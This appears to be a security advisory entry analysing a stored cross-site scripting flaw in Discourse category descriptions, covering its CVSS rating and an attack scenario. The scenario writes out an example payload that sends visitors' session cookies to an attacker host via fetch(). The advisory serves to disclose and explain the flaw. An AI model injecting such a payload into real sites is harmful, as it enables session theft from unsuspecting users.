Discourse EUVD-2026-17550

The CVSS v3.1 score of 5.4 with vector AV:N/AC:L/PR:L/UI:R/S:C reflects a network-accessible vulnerability requiring low attack complexity and user interaction on a browser. The PR:L component indicates that only authenticated users (those with category management roles) can exploit the flaw, limiting the attack surface compared to unauthenticated XSS. The UI:R requirement means successful exploitation depends on social engineering-getting victims to visit the malicious category. However, the CVSS scope (S:C) indicates the impact extends beyond the vulnerable component to the integrity of the entire platform for other users. While the CVSS base score is moderate, the stored nature of this XSS is more severe than reflected in the numeric rating: once injected, the malicious payload persists and affects all users. The presence of vendor-released patches across three version branches indicates swift remediation. Overall risk is elevated for instances with untrusted administrators or compromise of admin credentials, but lower for organizations with strict role-based access controls and rapid patching capabilities. No active exploitation or public POC has been reported, reducing immediate threat pressure.

A malicious user with category moderator or administrator privileges submits a category description update via the Discourse API containing an injected JavaScript payload such as <img src=x onerror="fetch('http://attacker.com/steal?cookies='+document.cookie)">. The unsanitized payload is stored in the database and rendered when other users visit the category page, causing their browsers to execute the injected script and exfiltrate session cookies or perform actions on their behalf. This requires initial compromise or misconfiguration of role-based access, but no additional user interaction beyond visiting the affected category.